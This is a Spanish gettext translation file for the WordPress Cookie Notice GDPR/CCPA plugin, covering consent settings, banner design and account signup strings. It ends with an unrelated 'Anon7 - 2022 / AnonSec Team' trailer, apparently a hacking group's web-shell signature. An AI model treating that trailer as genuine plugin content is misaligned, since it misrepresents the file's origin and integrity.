msgstr "Elige un plan"

#: includes/settings.php:518 includes/welcome.php:315 includes/welcome.php:346
msgid "Consent Analytics Dashboard"
msgstr "Escritorio de analítica de consentimientos"

#: includes/welcome.php:311
msgid "Free"
msgstr "Gratis"

#: includes/settings.php:514 includes/welcome.php:310 includes/welcome.php:590
#: includes/welcome.php:688
msgid "Basic"
msgstr "Básico"

#: includes/welcome.php:292
msgid "Take a proactive approach to data protection and consent laws by signing up for Cookie Compliance account. Then select a limited Basic Plan for free or get one of the Professional Plans for unlimited visits, consent storage, languages and customizations."
msgstr "Adopta un enfoque proactivo respecto a la protección de datos y las leyes de consentimiento registrando una cuenta Cookie Compliance. A continuación, selecciona un plan básico limitado de forma gratuita u obtén uno de los planes profesionales para obtener visitas ilimitadas, almacenamiento de consentimientos, idiomas y personalizaciones."

#: includes/welcome.php:266
msgid "Sign up to Cookie Compliance"
msgstr "Registrate en Cookie Compliance"

#: includes/welcome.php:262
msgid "Cookie Notice includes %sseamless integration%s with Cookie Compliance to help your site comply with the latest updates to existing consent laws and provide a beautiful, multi-level experience to engage visitors in data privacy decisions."
msgstr "Cookie Notice incluye %sintegración perfecta%s con Cookie Compliance para ayudar a que tu sitio cumpla con las últimas actualizaciones de las leyes de consentimiento existentes y proporcionar una atractiva experiencia en varios niveles para involucrar a los visitantes en las decisiones de privacidad de datos."

#: includes/welcome.php:261
msgid "It is the first solution to offer %sintentional consent%s, a new consent framework that incorporates the latest guidelines from over 100+ countries, and emerging standards from leading international organizations like the IEEE."
msgstr "Es la primera solución que ofrece %sconsentimiento intencional%s, un nuevo marco de consentimiento que incorpora las últimas directrices de más de 100 países y las normas emergentes de organizaciones internacionales líderes como el IEEE."

#: includes/welcome.php:255
msgid "Cookie Compliance is a free web application that enables websites to take a proactive approach to data protection and consent laws."
msgstr "Cookie Compliance es una aplicación web gratuita que permite a las webs adoptar un enfoque proactivo respecto a las leyes de protección de datos y consentimiento."

#: includes/welcome.php:137
msgid "%sCompliance Passed!%sCongratulations. Your website meets minimum viable compliance."
msgstr "¡Enhorabuena %scumplimiento pasado%s! Tu web reúne un cumplimiento mínimo viable."

#: includes/welcome.php:130
msgid "Failed"
msgstr "Falló"

#: includes/welcome.php:129
msgid "Passed"
msgstr "Correcto"

#: includes/settings.php:797
msgid "Add Compliance features"
msgstr "Añadir características de cumplimiento"

#: includes/settings.php:778
msgid "Log in & configure"
msgstr "Accede y configura"

#: cookie-notice.php:1289
msgid "Free Upgrade"
msgstr "Actualización gratuita"

#: includes/settings.php:223
msgid "Preferences"
msgstr "Preferencias"

#: includes/settings.php:222
msgid "Do Not Sell"
msgstr "Do Not Sell"

#: includes/settings.php:1761
msgid "Settings saved."
msgstr "Ajustes guardados."

#: includes/settings.php:843
msgid "Enable to automatically block 3rd party scripts before user consent is set."
msgstr "Activar para bloquear automáticamente scripts de terceros antes de tener el consentimiento del usuario."

#: includes/settings.php:761 includes/settings.php:775
#: includes/settings.php:794 includes/welcome.php:423
msgid "Proof-of-Consent"
msgstr "Prueba de consentimiento"

#: includes/settings.php:760 includes/settings.php:774
#: includes/settings.php:793 includes/welcome.php:422
msgid "Cookie Categories"
msgstr "Categorías de cookies"

#: includes/settings.php:758 includes/settings.php:772
#: includes/settings.php:791
msgid "Notice"
msgstr "Aviso"

#: includes/settings.php:687
msgid "Notice Design"
msgstr "Diseño del aviso"

#: includes/settings.php:670
msgid "Notice Settings"
msgstr "Ajustes del aviso"

#: includes/settings.php:652 includes/settings.php:759
#: includes/settings.php:773 includes/settings.php:792 includes/welcome.php:421
msgid "Autoblocking"
msgstr "Bloqueo automático"

#: includes/settings.php:651
msgid "Compliance Settings"
msgstr "Ajustes de Compliance"

#: includes/settings.php:288
msgid "Cookies"
msgstr "Cookies"

#: includes/welcome.php:677
msgid "Sign up"
msgstr "Registro"

#: includes/welcome.php:677
msgid "Don't have an account yet?"
msgstr "¿Aún no tienes una cuenta?"

#: includes/welcome.php:652
msgid "Account Login"
msgstr "Acceso a la cuenta"

#: includes/welcome.php:577
msgid "Already have an account?"
msgstr "¿Ya tienes una cuenta?"

#: includes/welcome.php:543
msgid "Create Account"
msgstr "Crear una cuenta"

#: includes/settings.php:859
msgid "Click the Purge Cache button to refresh the app configuration."
msgstr "Haz clic en el botón de vaciar caché para recargar la configuración de la aplicación."

#: includes/settings.php:655 includes/settings.php:857
msgid "Purge Cache"
msgstr "Purgar la caché"

#: includes/settings.php:826
msgid "Enter your Cookie Compliance&trade; application secret key."
msgstr "Introduce tu clave secreta de aplicación de Cookie Compliance&trade;."

#: includes/settings.php:813
msgid "Enter your Cookie Compliance&trade; application ID."
msgstr "Introduce tu ID de aplicación de Cookie Compliance&trade;."

#: includes/settings.php:792 includes/settings.php:793
#: includes/settings.php:794
msgid "Inactive"
msgstr "Inactiva"

#: includes/settings.php:779
msgid "Log into the Cookie Compliance&trade; web application and complete the setup process."
msgstr "Accede en la aplicación de Cookie Compliance&trade; y completa el proceso de configuración."

#: includes/settings.php:773 includes/settings.php:774
#: includes/settings.php:775
msgid "Pending"
msgstr "Pendiente"

#: includes/settings.php:764
msgid "Log in & Configure"
msgstr "Accede y configura"

#: includes/settings.php:758 includes/settings.php:759
#: includes/settings.php:760 includes/settings.php:761
#: includes/settings.php:772 includes/settings.php:791
msgid "Active"
msgstr "Activa"

#: includes/settings.php:289
msgid "Cookie Notice - Settings"
msgstr "Aviso de Cookies - Ajustes"

#: includes/settings.php:648 includes/settings.php:667
msgid "App Key"
msgstr "Clave de la aplicación"

#: includes/settings.php:647 includes/settings.php:666
msgid "App ID"
msgstr "ID de la aplicación"

#: includes/settings.php:665
msgid "Compliance status"
msgstr "Estado de cumplimiento"

#: includes/dashboard.php:497
msgid "Cookie Compliance Status"
msgstr "Estado de Cookie Compliance"

#: includes/settings.php:540
msgid "with Cookie Compliance&trade;"
msgstr "con Cookie Compliance&trade;"

#: includes/settings.php:328
msgid "Cookie Notice & Compliance for GDPR/CCPA"
msgstr "Cookie Notice & Compliance for GDPR/CCPA"

#: includes/welcome.php:267
msgid "Skip for now"
msgstr "Omitir por ahora"

#: includes/welcome.php:756
msgid "Go to Cookie Compliance application now. Or access it anytime from your %sCookie Notice settings page%s."
msgstr "Ve ahora a la aplicación de Cookie Compliance. O accede en cualquier momento desde tu %spágina de ajustes de Cookie Notice%s."

#: includes/welcome.php:756
msgid "You have successfully integrated your website to Cookie Compliance&trade;"
msgstr "Has integrado tu web correctamente a Cookie Compliance&trade;"

#: includes/welcome.php:755
msgid "Success!"
msgstr "¡Conseguido!"

#: includes/welcome.php:577 includes/welcome.php:663
msgid "Sign in"
msgstr "Acceder"

#: includes/welcome.php:646
msgid "Compliance Sign in"
msgstr "Accede a Compliance"

#: includes/welcome.php:617 includes/welcome.php:718
msgid "CVC/CVV"
msgstr "CVC/CVV"

#: includes/welcome.php:613 includes/welcome.php:714
msgid "Expiration Date"
msgstr "Fecha de caducidad"

#: includes/welcome.php:609 includes/welcome.php:710
msgid "Card Number"
msgstr "Número de la tarjeta"

#: includes/welcome.php:603 includes/welcome.php:704
msgid "PayPal"
msgstr "PayPal"

#: includes/welcome.php:602 includes/welcome.php:703
msgid "Credit Card"
msgstr "Tarjeta de crédito"

#: includes/welcome.php:600 includes/welcome.php:701
msgid "Payment Method"
msgstr "Método de pago"

#: includes/welcome.php:296
msgid "Compliance Plans"
msgstr "Planes de Compliance"

#: includes/welcome.php:563
msgid "Sign Up"
msgstr "Registro"

#: includes/welcome.php:555
msgid "Confirm Password"
msgstr "Confirmar contraseña"

#: includes/welcome.php:551 includes/welcome.php:660
msgid "Password"
msgstr "Contraseña"

#: includes/welcome.php:548 includes/welcome.php:657
msgid "Email address"
msgstr "Dirección de correo electrónico"

#: includes/welcome.php:537
msgid "Compliance account"
msgstr "Cuenta en Compliance"

#: includes/welcome.php:511
msgid "Color of the button text."
msgstr "Color del texto del botón."

#: includes/welcome.php:510
msgid "Color of the heading text."
msgstr "Color del texto del encabezado."

#: includes/welcome.php:508
msgid "Color of the body text."
msgstr "Color del texto del cuerpo."

#: includes/welcome.php:509
msgid "Color of the borders and inactive elements."
msgstr "Color de los bordes y los elementos inactivos."

#: includes/welcome.php:507
msgid "Color of the banner background."
msgstr "Color del fondo del banner."

#: includes/welcome.php:506
msgid "Color of the buttons and interactive elements."
msgstr "Color de los botones y de los elementos interactivos."

#: includes/welcome.php:504
msgid "Adjust the banner color scheme"
msgstr "Ajustar el esquema de colores del banner"

#: includes/welcome.php:500
msgid "Center"
msgstr "Centro"

#: includes/welcome.php:499
msgid "Right"
msgstr "Derecha"

#: includes/welcome.php:498
msgid "Left"
msgstr "Izquierda"

#: includes/welcome.php:494
msgid "Select your preferred display position"
msgstr "Selecciona tu posición de visualización preferida"

#: includes/welcome.php:490
msgid "Banner Design"
msgstr "Diseño del banner"

#: includes/welcome.php:468
msgid "CCPA"
msgstr "CCPA"

#: includes/welcome.php:467
msgid "GDPR"
msgstr "RGPD"

#: includes/welcome.php:465
msgid "Select the laws that apply to your business"
msgstr "Selecciona las leyes que aplican a tu negocio"

#: includes/welcome.php:444
msgid "Banner Compliance"
msgstr "Banner de Compliance"

#: includes/welcome.php:414
msgid "Site Name"
msgstr "Nombre del sitio"

#: includes/welcome.php:413
msgid "Site URL"
msgstr "URL del sitio"

#: includes/welcome.php:385
msgid "Go to Application"
msgstr "Ir a la aplicación"

#: includes/welcome.php:382
msgid "Log in to your Cookie Compliance account and continue configuring your Privacy Experience."
msgstr "Accede a tu cuenta de Cookie Compliance y sigue configurando tu experiencia de privacidad."

#: includes/welcome.php:253 includes/welcome.php:290
msgid "The next generation of Cookie Notice"
msgstr "La siguiente generación de Cookie Notice"

#: includes/welcome.php:139
msgid "Please fill all the required fields."
msgstr "Por favor, rellena todos los campos obligatorios."

#: includes/welcome-api.php:319
msgid "Passwords do not match."
msgstr "Las contraseñas no coinciden."

#: includes/welcome-api.php:307 includes/welcome-api.php:540
msgid "Password is not allowed to be empty."
msgstr "El campo de la contraseña no puede estar vacío."

#: includes/welcome-api.php:297 includes/welcome-api.php:531
msgid "Email is not allowed to be empty."
msgstr "El campo del correo electrónico no puede estar vacío."

#: includes/welcome-api.php:288
msgid "Please accept the Terms of Service to proceed."
msgstr "Por favor, acepta los términos de servicio para continuar."

#: includes/welcome-api.php:187
msgid "Unable to create customer data."
msgstr "No ha sido posible crear los datos de cliente."

#: includes/welcome-api.php:152
msgid "Empty plan or payment method data."
msgstr "Datos del plan o del método de pago vacíos."

#: includes/welcome-api.php:115 includes/welcome-api.php:361
#: includes/welcome-api.php:403 includes/welcome-api.php:563
#: includes/welcome-api.php:637 includes/welcome-api.php:1225
#: includes/welcome.php:128
msgid "Unexpected error occurred. Please try again later."
msgstr "Ha ocurrido un error inesperado. Por favor, inténtalo de nuevo más tarde."

#: includes/welcome-api.php:35 includes/welcome-api.php:39
#: includes/welcome-api.php:46 includes/welcome-api.php:59
#: includes/welcome.php:207 includes/welcome.php:235 includes/welcome.php:238
msgid "You do not have permission to access this page."
msgstr "No tienes permiso para acceder a esta página."

#. Author of the plugin
#: cookie-notice.php
msgid "Hu-manity.co"
msgstr "Hu-manity.co"

#. Description of the plugin
#: cookie-notice.php
msgid "Cookie Notice allows you to you elegantly inform users that your site uses cookies and helps you comply with GDPR, CCPA and other data privacy laws."
msgstr "Cookie Notice te permite informar elegantemente a los usuarios de que tu sitio usa cookies y te ayuda a cumplir con el RGPD, la CCPA y otras leyes de privacidad de datos."

#. Author URI of the plugin
#: cookie-notice.php
msgid "https://hu-manity.co/"
msgstr "https://hu-manity.co/"

#. Plugin Name of the plugin
#: cookie-notice.php
msgid "Cookie Notice & Compliance for GDPR / CCPA"
msgstr "Cookie Notice & Compliance for GDPR / CCPA"

#: includes/settings.php:1374
msgid "Bar opacity"
msgstr "Opacidad de la barra"

#: includes/settings.php:1236
msgid "The amount of time that the cookie should be stored for when the user doesn't accept the notice."
msgstr "La cantidad de tiempo durante el que la cookie debe ser almacenada cuando el usuario no acepta el aviso."

#: includes/settings.php:1215
msgid "The amount of time that the cookie should be stored for when user accepts the notice."
msgstr "La cantidad de tiempo durante el que la cookie debe ser almacenada cuando el usuario acepta el aviso."

#: includes/settings.php:681
msgid "Rejected expiry"
msgstr "Caducidad del rechazo"

#: includes/settings.php:680
msgid "Accepted expiry"
msgstr "Caducidad de la aceptación"

#: includes/settings.php:1324
msgid "Enable to accept the notice on any click on the page."
msgstr "Actívalo para aceptar el aviso con cualquier clic en la página."

#: includes/settings.php:1311
msgid "Number of pixels user has to scroll to accept the notice and make it disappear."
msgstr "Número de píxeles que el usuario tiene que hacer scroll para aceptar el aviso y hacerlo desaparecer."

#: includes/settings.php:1308
msgid "Enable to accept the notice when user scrolls."
msgstr "Actívalo para aceptar el aviso cuando el usuario hace scroll."

#: includes/settings.php:1293
msgid "Select the animation style."
msgstr "Selecciona el estilo de la animación."

#: includes/settings.php:1274
msgid "Select location for the notice."
msgstr "Selecciona la ubicación del aviso."

#: includes/settings.php:1145
msgid "Select where to redirect user for more information."
msgstr "Selecciona a dónde redirigir al usuario para más información."

#: includes/settings.php:1078
msgid "Enter the revoke message."
msgstr "Introduce el mensaje de revocación."

#: includes/settings.php:1027
msgid "The text of the button to refuse the consent."
msgstr "El texto del botón para rechazar el consentimiento."

#: includes/settings.php:1008
msgid "The text of the option to accept the notice and make it disappear."
msgstr "El texto de la opción para aceptar el aviso y hacerlo desaparecer."

#: includes/settings.php:679
msgid "On click"
msgstr "Al hacer clic"

#: includes/settings.php:674
msgid "Refuse consent"
msgstr "Rechazar el consentimiento"

#: includes/settings.php:244 includes/settings.php:675
msgid "Revoke consent"
msgstr "Revocar el consentimiento"

#: includes/settings.php:243
msgid "You can revoke your consent any time using the Revoke consent button."
msgstr "Puedes revocar tu consentimiento en cualquier momento usando el botón de revocación del consentimiento."

#: includes/settings.php:150
msgid "Dark"
msgstr "Oscuro"

#: includes/settings.php:149
msgid "Light"
msgstr "Claro"

#: includes/settings.php:1192
msgid "Select the privacy policy link position."
msgstr "Selecciona la posición del enlace de la política de privacidad."

#: includes/settings.php:166
msgid "Banner"
msgstr "Banner"

#: includes/settings.php:1135
msgid "The text of the privacy policy button."
msgstr "El texto de botón de política de privacidad."

#: includes/settings.php:1349
msgid "Enter additional button CSS classes separated by spaces."
msgstr "Introduce las clases CSS adicionales para el botón, separadas por espacios."

#: includes/settings.php:1182
msgid "Select the privacy policy link target."
msgstr "Selecciona el destino del enlace de la política de privacidad."

#: includes/settings.php:1165
msgid "Synchronize with WordPress Privacy Policy page."
msgstr "Sincronizar con la página de política de privacidad de WordPress."

#: includes/settings.php:1132
msgid "Enable privacy policy link."
msgstr "Activa el enlace a la política de privacidad."

#: includes/settings.php:1088
msgid "Select the method for displaying the revoke button - automatic (in the banner) or manual using %s[cookies_revoke]%s shortcode."
msgstr "Elige el método para mostrar el botón de revocar - automático (en el banner) o manual usando el shortcode %s[cookies_revoke]%s."

#: includes/settings.php:1080
msgid "The text of the button to revoke the consent."
msgstr "El texto del botón para revocar el consentimiento."

#: includes/settings.php:1075
msgid "Enable to give to the user the possibility to revoke their consent %s(requires \"Refuse consent\" option enabled)%s."
msgstr "Activar para dar al usuario la posibilidad de revocar su consentimiento a las cookies %s(requiere que la opción \"Rechazar cookies\" esté activa)%s."

#: includes/settings.php:1056
msgid "The code to be used in your site footer, before the closing body tag."
msgstr "El código a usar en el pie de página de tu sitio, antes de la etiqueta de cierre de «body»."

#: includes/settings.php:1052
msgid "The code to be used in your site header, before the closing head tag."
msgstr "El código a usar en la cabecera de tu sitio, antes de la etiqueta de cierre de «head»."

#: includes/settings.php:1049
msgid "Body"
msgstr "Cuerpo"

#: includes/settings.php:1048
msgid "Head"
msgstr "Cabecera"

#: includes/settings.php:691
msgid "Button class"
msgstr "Clase del botón"

#: includes/settings.php:221 includes/settings.php:245
#: includes/settings.php:673
msgid "Privacy policy"
msgstr "Política de privacidad"

#: includes/settings.php:179
msgid "An hour"
msgstr "Una hora"

#: includes/settings.php:155
msgid "Manual"
msgstr "Manual"

#: includes/settings.php:154
msgid "Automatic"
msgstr "Automático"

#: includes/settings.php:1101
msgid "Enable to reload the page after the notice is accepted."
msgstr "Actívalo para recargar la página después de que se acepte el aviso."

#: includes/settings.php:677
msgid "Reloading"
msgstr "Recargando"

#: includes/settings.php:676
msgid "Script blocking"
msgstr "Bloqueo de scripts"

#: includes/settings.php:1864
msgid "Are you sure you want to reset these settings to defaults?"
msgstr "¿Seguro que quieres restablecer estos ajustes a los valores por defecto?"

#: cookie-notice.php:1274 includes/settings.php:289 includes/settings.php:332
msgid "Settings"
msgstr "Ajustes"

#: includes/settings.php:1765
msgid "Settings restored to defaults."
msgstr "Ajustes restaurados a los valores por defecto."

#: includes/settings.php:1255
msgid "Select where all the plugin scripts should be placed."
msgstr "Selecciona dónde se deben colocar todos los scripts de los plugins."

#: includes/settings.php:1172
msgid "Enter the full URL starting with http(s)://"
msgstr "Introduce la URL completa, comenzando por http(s)://"

#: includes/settings.php:1159
msgid "Select from one of your site's pages."
msgstr "Selecciona una de las páginas de tu sitio."

#: includes/settings.php:1148
msgid "-- select page --"
msgstr "-- seleccionar página --"

#: includes/settings.php:1060
msgid "Enter non functional cookies Javascript code here (for e.g. Google Analitycs) to be used after the visitor consent is given."
msgstr "Introduce aquí el código JavaScript de las cookies no funcionales (por ejemplo, Google Analytics) que se usará después de que se acepte el aviso."

#: includes/settings.php:1023
msgid "Enable to give to the user the possibility to refuse third party non functional cookies."
msgstr "Actívalo para dar al usuario la posibilidad de rechazar las cookies no funcionales de terceros."

#: includes/settings.php:995
msgid "Enter the cookie notice message."
msgstr "Introduce el mensaje de aviso sobre cookies"

#: includes/settings.php:1336
msgid "Enable if you want all plugin data to be deleted on deactivation."
msgstr "Actívalo si quieres que todos los datos del plugin sean borrados al desactivar."

#: includes/settings.php:690
msgid "Colors"
msgstr "Colores"

#: includes/settings.php:689
msgid "Animation"
msgstr "Animación"

#: includes/settings.php:688
msgid "Position"
msgstr "Posición"

#: includes/settings.php:660 includes/settings.php:684
msgid "Deactivation"
msgstr "Desactivación"

#: includes/settings.php:683
msgid "Script placement"
msgstr "Ubicación del script"

#: includes/settings.php:678
msgid "On scroll"
msgstr "Al hacer scroll"

#: includes/settings.php:672
msgid "Button text"
msgstr "Texto del botón"

#: includes/settings.php:167 includes/settings.php:671
msgid "Message"
msgstr "Mensaje"

#: includes/settings.php:477
msgid "Reset to defaults"
msgstr "Restablecer los valores por defecto"

#: includes/dashboard.php:518 includes/settings.php:288
#: includes/welcome.php:420
msgid "Cookie Notice"
msgstr "Cookie Notice"

#: includes/settings.php:242
msgid "No"
msgstr "No"

#: includes/settings.php:241
msgid "Ok"
msgstr "Aceptar"

#: includes/settings.php:240
msgid "We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it."
msgstr "Usamos cookies para asegurar que te damos la mejor experiencia en nuestra web. Si continúas usando este sitio, asumiremos que estás de acuerdo con ello."

#: includes/settings.php:198
msgid "Footer"
msgstr "Pie de página"

#: includes/settings.php:197
msgid "Header"
msgstr "Cabecera"

#: includes/settings.php:193
msgid "Slide"
msgstr "Deslizar"

#: includes/settings.php:192
msgid "Fade"
msgstr "Desvanecer"

#: includes/settings.php:186
msgid "infinity"
msgstr "Infinito"

#: includes/consent-logs.php:137 includes/settings.php:185
msgid "1 year"
msgstr "1 año"

#: includes/consent-logs.php:135 includes/settings.php:184
msgid "6 months"
msgstr "6 meses"

#: includes/consent-logs.php:133 includes/settings.php:183
msgid "3 months"
msgstr "3 meses"

#: includes/consent-logs.php:131 includes/settings.php:182
msgid "1 month"
msgstr "1 mes"

#: includes/settings.php:181
msgid "1 week"
msgstr "1 semana"

#: includes/settings.php:180
msgid "1 day"
msgstr "1 día"

#: includes/settings.php:173
msgid "Bar color"
msgstr "Color de la barra"

#: includes/settings.php:171
msgid "Text color"
msgstr "Color del texto"

#: includes/settings.php:159
msgid "Page link"
msgstr "Enlace a página"

#: includes/settings.php:160
msgid "Custom link"
msgstr "Enlace personalizado"

#: includes/settings.php:148 includes/settings.php:191
msgid "None"
msgstr "Ninguno"

#: includes/settings.php:144 includes/welcome.php:496
msgid "Bottom"
msgstr "Abajo"

#: includes/settings.php:143 includes/welcome.php:497
msgid "Top"
msgstr "Arriba"

Anon7 - 2022
AnonSec Team